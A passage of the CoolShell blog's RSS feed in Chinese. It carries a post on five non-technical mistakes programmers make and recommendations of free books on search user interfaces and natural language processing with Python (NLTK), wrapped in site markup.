src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1174.html\">程序员惯用的解释(Top 25)</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1174.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>14</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>程序员犯的非技术错误(Top 5)</title>\n\t\t<link>https://coolshell.cn/articles/1145.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1145.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 21 Jul 2009 14:24:23 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[职场生涯]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1145</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>对于程序开发者来说，有两种技术需要我们掌握，一个是技术上的能力，另一个是非技术上的能力。不幸的是，许多程序员过多地关注了技术上的能力，而忽略了非技术上的能力的培...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1145.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1145.html\">程序员犯的非技术错误(Top 5)</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script></p>\n<div>\n<p>对于程序开发者来说，有两种技术需要我们掌握，一个是技术上的能力，另一个是非技术上的能力。不幸的是，许多程序员过多地关注了技术上的能力，而忽略了非技术上的能力的培养，因此，我们的程序员们经常会有一些很不好的习惯，这里我们例举了程序员们最常犯的5个非技术的错误，与大家共勉。</p>\n<h4>1.- 缺乏团队纪律</h4>\n<p><a onclick=\"pageTracker._trackPageview('/outgoing/thinkexist.com/quotation/discipline_is_the_bridge_between_goals_and/210477.html');\" href=\"http://thinkexist.com/quotation/discipline_is_the_bridge_between_goals_and/210477.html\" target=\"_blank\">“Discipline is the bridge between goals and accomplishment.”</a> Jim Rohn.</p>\n<p>纪律是一个最有价值的技能，不仅仅只是在软件开发领域，同样在其它领域也是一样的。但对于现实来说，我们很难找到即有才华又有纪律的人。这正如足球队一样，非洲的球员们才华相当的出众，可惜他们总是独自为阵，团队纪律性不足，所以可以有好的成绩，但却无法赢得最后的胜利；而德国队的队员个人技能平平，但其有很强大的团队纪律性，所以，总是能打入最后的决赛并获得冠军。有人说过，个人英雄并不可怕，而有强大纪律性的团队才让人可怕。这正是日本这个民族的可怕之处。况且，软件开发从来都不是一个人可以完成的事情，所以团队工作中的纪律性会是非常重要的。</p>\n<p><a onclick=\"pageTracker._trackPageview('/outgoing/www.stevepavlina.com');\" href=\"http://www.stevepavlina.com/\">Steve Pavlina</a> 强调了自律中5个因素：“<strong>承担</strong>, <strong>毅力</strong>, <strong>努力</strong>, <strong>勤奋</strong>, 和<strong>坚持</strong><em>。</em>” 这里，我们强烈推荐你读一读Steve的 <a onclick=\"pageTracker._trackPageview('/outgoing/www.stevepavlina.com/blog/2005/06/self-discipline/');\" href=\"http://www.stevepavlina.com/blog/2005/06/self-discipline/\" target=\"_blank\">关于自律的文章</a>。</p>\n<p><span id=\"more-1145\"></span></p>\n<p>下面是我们觉得程序应该有的比较良好的习惯。</p>\n<ul>\n<li>每天都有自己的to do list</li>\n<li>在一个时间内只做一个事</li>\n<li>把事情做对了</li>\n<li>事情没有完全完成时不要轻易结束</li>\n<li>慢点总比道歉好，道歉总比不做好</li>\n</ul>\n<h4>2.- 过度自负</h4>\n<p>我们的经验告诉我们，过度的自负的人一般是意识不到自己的自负，下面是一些过度自负的特征，希望你可以从中检测一下自己是否过度自负了。</p>\n<ul>\n<li>觉得自己是最牛的程序员</li>\n<li>总是打断谈话</li>\n<li>你要求Code Reivew不是要检查代码，而是向大家炫耀你的代码</li>\n</ul>\n<p>在网上有太多的文章关于程序员的自负的问题，这里有两篇，你可以看看：一篇是Mike Bernat的 <a onclick=\"pageTracker._trackPageview('/outgoing/mikebernat.com/blog/Egoless_Programming_-_Developing_Without_the_Attitude');\" href=\"http://mikebernat.com/blog/Egoless_Programming_-_Developing_Without_the_Attitude\" target=\"_blank\">Egoless programming（无自负编程）</a> 还有一个是stackoverflow.com 上的一个<a onclick=\"pageTracker._trackPageview('/outgoing/stackoverflow.com/questions/229393/how-do-you-control-your-programmer-ego');\" href=\"http://stackoverflow.com/questions/229393/how-do-you-control-your-programmer-ego\" target=\"_blank\">贴子</a>。</p>\n<h4>3.- 沟通不畅</h4>\n<p><a onclick=\"pageTracker._trackPageview('/outgoing/www.wisdomquotes.com/000747.html');\" href=\"http://www.wisdomquotes.com/000747.html\" target=\"_blank\">“如果我要说十分钟，我需要一周做准备；如果说15分钟，我需要3天做准备；半个小时，我需要两天；如果说一个小时，我现在就准备好了。</a>” Woodrow Wilson</p>\n<p>人类的沟通是我们最主要的活动。成为一个好的沟通者是一件很难的事情，我们不断地和别人交换关于设计，编码，文章的意见，并且我们每天都在试图说服别人我们自己的设计和想法会更好，更有道理……</p>\n<p>然后，好的沟通者是那些当他们正在解释一些事情的时候，他们的解释是下面这个样子的：</p>\n<ul>\n<li><strong>专注。</strong>不跑题，没有废话。</li>\n<li><strong>清晰</strong>. 很容易听懂。</li>\n<li><strong>简明</strong>. 加一点就觉得多，少一点都觉得不够。</li>\n</ul>\n<p>要有一个好的沟通技巧，我们的建议如下：</p>\n<ul>\n<li>如果你觉得你沟通方面不够好的话，请事先准备你要表达的东西，努力做到专注，清晰和简明。</li>\n<li>在交谈中，先听，后想，最后再说。</li>\n<li>永远从对方的角度思考问题。</li>\n</ul>\n<h4>4.- 忘了用户</h4>\n<p><em><a onclick=\"pageTracker._trackPageview('/outgoing/thinkexist.com/quotation/if_we_don-t_take_care_of_the_customer-somebody/335078.html');\" href=\"http://thinkexist.com/quotation/if_we_don-t_take_care_of_the_customer-somebody/335078.html\" target=\"_blank\">“如果我们不关心我们的用户……那么别人会”</a></em></p>\n<p>你的存在，你工作的意思只有一个原因——你的用户。我们在很多时间都会忘了这个事情。经常，我们在工作当中，技术会取代用户而占据了主要的位置，我们可以花费数月的时间来创建一个程序框架，但一个程序框架不会给用户代来任何的价值，我们不是说程序框架不重要，而是说，对于用户的需求来说，这是其次重要的东西。如果离开了用户的需求，我们所有的技术，算法或是精妙的设计将会变得什么也不是。</p>\n<h4>5.- 不懂工作的轻重缓急</h4>\n<p>程序员总是喜欢去研究一些新的或自己感兴趣的东西，但对于软件工程来说，我们更需要知道所有事情的轻重缓急，要学会如何了解事情的优先级，这样才会让我们的工作事半功倍，而我们的工作也会更有效。比如，当用户的站点出现问题的时候，有些时候，我们的程序员过试地关注于问题的重现和原因，而忘记了用户的站点正在流血，无法进行生产。所以，一般来说，最重要的事情首先是恢复用户站点，然后才是去重现和调查问题。在我们的日常工作中，我们要处理很多事情，只有了解到了所有事情的轻重缓急，处理最重要最紧急的事情，我们才能够更好的安排自己的工作，才能够更好的完成我们的事情。不要以为这是一件很简单的事情，这需要我们不断地和别人沟通来了解事情的轻重缓急，事实证明，如果我们不懂工作中的轻重缓急，本来只有一件紧急的事情，如果处理不当，最后可能会演变成多件紧急事情，其它本来不紧急的事，后来也会变得很紧急，最终程序员们顾此失彼，苦不堪言。希望大家切记。</p>\n<p>（全文完）</p>\n</div>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1145.html\">程序员犯的非技术错误(Top 5)</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1145.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>8</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>（免费在线）新书推荐：搜索的用户界面</title>\n\t\t<link>https://coolshell.cn/articles/1163.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1163.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[mailper]]></dc:creator>\n\t\t<pubDate>Thu, 16 Jul 2009 13:23:39 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[ebook]]></category>\n\t\t<category><![CDATA[GUI]]></category>\n\t\t<category><![CDATA[UI]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1163</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>题外话：剑桥大学出版社很有意思，允许作者把书的全部内容放在网上，例如：Christopher D. Manning, Prabhakar Raghavan an...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1163.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1163.html\">（免费在线）新书推荐：搜索的用户界面</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>题外话：剑桥大学出版社很有意思，允许作者把书的全部内容放在网上，例如：<a href=\"http://nlp.stanford.edu/~manning/\">Christopher D. Manning</a>, <a href=\"http://theory.stanford.edu/people/raghavan/\">Prabhakar Raghavan</a> and <a href=\"http://www-csli.stanford.edu/~hinrich\">Hinrich Schütze</a>,<a href=\"http://www-csli.stanford.edu/~hinrich/information-retrieval-book.html\"> </a><em><a href=\"http://www-csli.stanford.edu/~hinrich/information-retrieval-book.html\">Introduction to Information Retrieval</a></em>, Cambridge University Press. 2008.</p>\n<p>《<a href=\"http://searchuserinterfaces.com/book/\">搜索的用户界面</a>》的作者<a href=\"http://people.ischool.berkeley.edu/~hearst/\">Marti Hearst</a>是加州大学伯克利分校研究信息可视化的一位大儒，她有很多带有认知心理学加设计的尝试，在信息检索这门学科里的信息可视化领域很有地位。我斗胆把她的新书的梗概在这里描述一下，习惯看英文的朋友们可以点击链接去看英文原文，不喜欢看英文的朋友们可以有选择的看看我这里的总结，然后硬硬头皮，跳进去啃一些具体章节吧。本书可能收益的人有：对搜索有兴趣的学生，工业界做设计和评估的专业人士，对技术中的人本主义感兴趣的人，书痴。</p>\n<p><span id=\"more-1163\"></span></p>\n<blockquote><p>译文：<a href=\"http://searchuserinterfaces.com/book/sui_ch0_preface.html\">本书综述</a></p>\n<p>本书概括了信息寻找过程中人的方面，并专注于其中被用户界面可以支持的方面。本书描述一些用户界面的一般方法论，尤其是搜索的用户界面以及如何评估好的搜索界面。本书讨论了以下几个领域的研究成果和工业实践： 查询的界定，搜索结果的显示，搜索结果分组，信息内的浏览导航，用户重新界定查询，个人化的搜索，以及更广义上的信息使用和文本分析。大多数的讨论还是和网页搜索引擎相关，但是本书也照顾到了其他类型的搜索。如下章节：</p>\n<ol>\n<li>搜索界面的设计</li>\n<li>评估搜索界面</li>\n<li>信息搜寻的模型</li>\n<li>界定查询</li>\n<li>搜索结果的呈现</li>\n<li>用户重新界定搜索</li>\n<li>支持搜索过程的一些手段：搜索历史，在搜索结果中再搜索，帮助用户理解如何更好搜索</li>\n<li>整合浏览导航和搜索</li>\n<li>搜索过程中的个人化</li>\n<li>搜索界面的可视化（如何呈现搜索结果）</li>\n<li>文本分析中的可视化</li>\n<li>搜索界面中的一些新趋势</li>\n</ol>\n<div id=\"_mcePaste\" style=\"overflow: hidden; position: absolute; left: -10000px; top: 108px; width: 1px; height: 1px;\">本书是以前98年一个经典书的扩充和更新：Modern Information Retrieval, Baeza-Yates and Ribeiro-Neto (Eds.), Addison Wesley</div>\n</blockquote>\n<p>本书是以前98年一个经典书的扩充和更新：<em>Modern Information Retrieval</em>, Baeza-Yates and Ribeiro-Neto (Eds.), Addison Wesley<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg\" alt=\"一些非常有意思的杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_title\">一些非常有意思的杂项资源</a></li><li ><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg\" alt=\"一些有意思的文章和资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4220.html\" class=\"wp_rp_title\">一些有意思的文章和资源</a></li><li ><a href=\"https://coolshell.cn/articles/4710.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"Python 和 PyGame 的一些示例\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4710.html\" class=\"wp_rp_title\">Python 和 PyGame 的一些示例</a></li><li ><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" alt=\"一些有意思的贴子和工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3903.html\" class=\"wp_rp_title\">一些有意思的贴子和工具</a></li><li ><a href=\"https://coolshell.cn/articles/3877.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg\" alt=\"另类UX让你输入强口令\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3877.html\" class=\"wp_rp_title\">另类UX让你输入强口令</a></li><li ><a href=\"https://coolshell.cn/articles/3723.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" alt=\"（麻省理工免费课程）计算机科学和编程导论\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3723.html\" class=\"wp_rp_title\">（麻省理工免费课程）计算机科学和编程导论</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1163.html\">（免费在线）新书推荐：搜索的用户界面</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1163.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>5</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Python 自然语言处理</title>\n\t\t<link>https://coolshell.cn/articles/1157.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1157.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[mailper]]></dc:creator>\n\t\t<pubDate>Wed, 15 Jul 2009 14:41:56 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Python]]></category>\n\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[ebook]]></category>\n\t\t<category><![CDATA[nlp]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1157</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>推荐一本免费的在线电子书，《用Python进行自然语言处理》， 用NLP 工具包（开源免费，Python）来进行文本分析。特别适合初学计算语言学的学生。好像没有...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1157.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1157.html\">Python 自然语言处理</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>推荐一本免费的在线电子书，《用Python进行自然语言处理》， 用<a href=\"http://www.google.com/search?hl=en&amp;q=nlp+toolkit+python\">NLP 工具包</a>（开源免费，Python）来进行文本分析。特别适合初学计算语言学的学生。好像没有好的中文切词。当然，免不了需要提一下 Dan Jurafsky 教授，大家可以搜索一下，找找他的讲义。</p>\n<p>简要翻译一下提纲：</p>\n<p><span id=\"more-1157\"></span></p>\n<p>（书的主站点：<a href=\"http://www.nltk.org/\">http://www.nltk.org/</a>）</p>\n<ul>\n<li>序言</li>\n<li>用Python进行语言处理</li>\n<li>使用文本语料库和辞典资源</li>\n<li>处理原始文本</li>\n<li>结构化变成</li>\n<li>词语的分类和标签</li>\n<li>学习文本分类</li>\n<li>从文本中信息抽取</li>\n<li>分析句法结构</li>\n<li>创建基于特征的语法</li>\n<li>分析句子的意思</li>\n<li>管理语言学数据</li>\n<li>后记：直面语言带来的挑战</li>\n</ul>\n<p>Natural Language Processing with Python<span style=\"font-size: x-small;\"><br />\n&#8212; Analyzing Text with the Natural Language Toolkit</span></p>\n<p><span style=\"font-size: x-small;\">Steven Bird, Ewan Klein, and Edward Loper</span></p>\n<dl>\n<dd>0. <a style=\"color: navy !important; outline-style: none; outline-width: initial; outline-color: initial;\" href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch00.html\">Preface</a> (<a style=\"color: navy !important; outline-style: none; outline-width: initial; outline-color: initial;\" href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch00-extras.html\">extras</a>) </dd>\n<dd>1. <a style=\"color: navy !important; outline-style: none; outline-width: initial; outline-color: initial;\" href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch01.html\">Language Processing and Python</a> (<a style=\"color: navy !important; outline-style: none; outline-width: initial; outline-color: initial;\" href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch01-extras.html\">extras</a>) </dd>\n<dd><span style=\"font-size: 10px;\"><span style=\"font-size: 12px;\">2. <a style=\"color: navy !important; outline-style: none; outline-width: initial; outline-color: initial;\" href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch02.html\">Accessing Text Corpora and Lexical Resources</a></span></span> (<a style=\"color: navy !important; outline-style: none; outline-width: initial; outline-color: initial;\" href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch02-extras.html\">extras</a>) </dd>\n<dd><span style=\"font-size: 10px;\"><span style=\"font-size: 12px;\">3. <a style=\"color: navy !important; outline-style: none; outline-width: initial; outline-color: initial;\" href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch03.html\">Processing Raw Text</a></span></span></dd>\n<dd><span style=\"font-size: 10px;\"><span style=\"font-size: 12px;\">4. </span></span><a style=\"color: navy !important; outline-style: none; outline-width: initial; outline-color: initial;\" href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch04.html\"><span style=\"font-size: 10px;\"><span style=\"font-size: 12px;\">Writing Structured Programs</span></span></a> (<a style=\"color: navy !important; outline-style: none; outline-width: initial; outline-color: initial;\" href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch04-extras.html\">extras</a>) </dd>\n<dd><span style=\"font-size: 10px;\"><span style=\"font-size: 12px;\">5. </span></span><a style=\"color: navy !important; outline-style: none; outline-width: initial; outline-color: initial;\" href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch05.html\"><span style=\"font-size: 10px;\"><span style=\"font-size: 12px;\">Categorizing and Tagging Words</span></span></a></dd>\n<dd><span style=\"font-size: 10px;\"><span style=\"font-size: 12px;\">6. </span></span><a style=\"color: navy !important; outline-style: none; outline-width: initial; outline-color: initial;\" href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch06.html\"><span style=\"font-size: 10px;\"><span style=\"font-size: 12px;\">Learning to Classify Text</span></span></a> (<a style=\"color: navy !important; outline-style: none; outline-width: initial; outline-color: initial;\" href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch06-extras.html\">extras</a>) </dd>\n<dd><span style=\"font-size: 10px;\"><span style=\"font-size: 12px;\">7. <a style=\"color: navy !important; outline-style: none; outline-width: initial; outline-color: initial;\" href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch07.html\">Extracting Information from Text</a></span></span></dd>\n<dd><span style=\"font-size: 10px;\"><span style=\"font-size: 12px;\">8. <a style=\"color: navy !important; outline-style: none; outline-width: initial; outline-color: initial;\" href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch08.html\">Analyzing Sentence Structure</a></span></span> (<a style=\"color: navy !important; outline-style: none; outline-width: initial; outline-color: initial;\" href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch08-extras.html\">extras</a>) </dd>\n<dd><span style=\"font-size: 10px;\"><span style=\"font-size: 12px;\">9. <a style=\"color: navy !important; outline-style: none; outline-width: initial; outline-color: initial;\" href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch09.html\">Building Feature Based Grammars</a></span></span></dd>\n<dd><span style=\"font-size: 10px;\"><span style=\"font-size: 12px;\">10. <a style=\"color: navy !important; outline-style: none; outline-width: initial; outline-color: initial;\" href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch10.html\">Analyzing the Meaning of Sentences</a></span></span> (<a style=\"color: navy !important; outline-style: none; outline-width: initial; outline-color: initial;\" href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch10-extras.html\">extras</a>) </dd>\n<dd><span style=\"font-size: 10px;\"><span style=\"font-size: 12px;\">11. <a style=\"color: navy !important; outline-style: none; outline-width: initial; outline-color: initial;\" href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch11.html\">Managing Linguistic Data</a></span></span></dd>\n<dd><span style=\"font-size: 10px;\"><span style=\"font-size: 12px;\">12. <a style=\"color: navy !important; outline-style: none; outline-width: initial; outline-color: initial;\" href=\"http://nltk.googlecode.com/svn/trunk/doc/book/ch12.html\">Afterword: Facing the Language Challenge</a></span></span></dd>\n</dl>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p 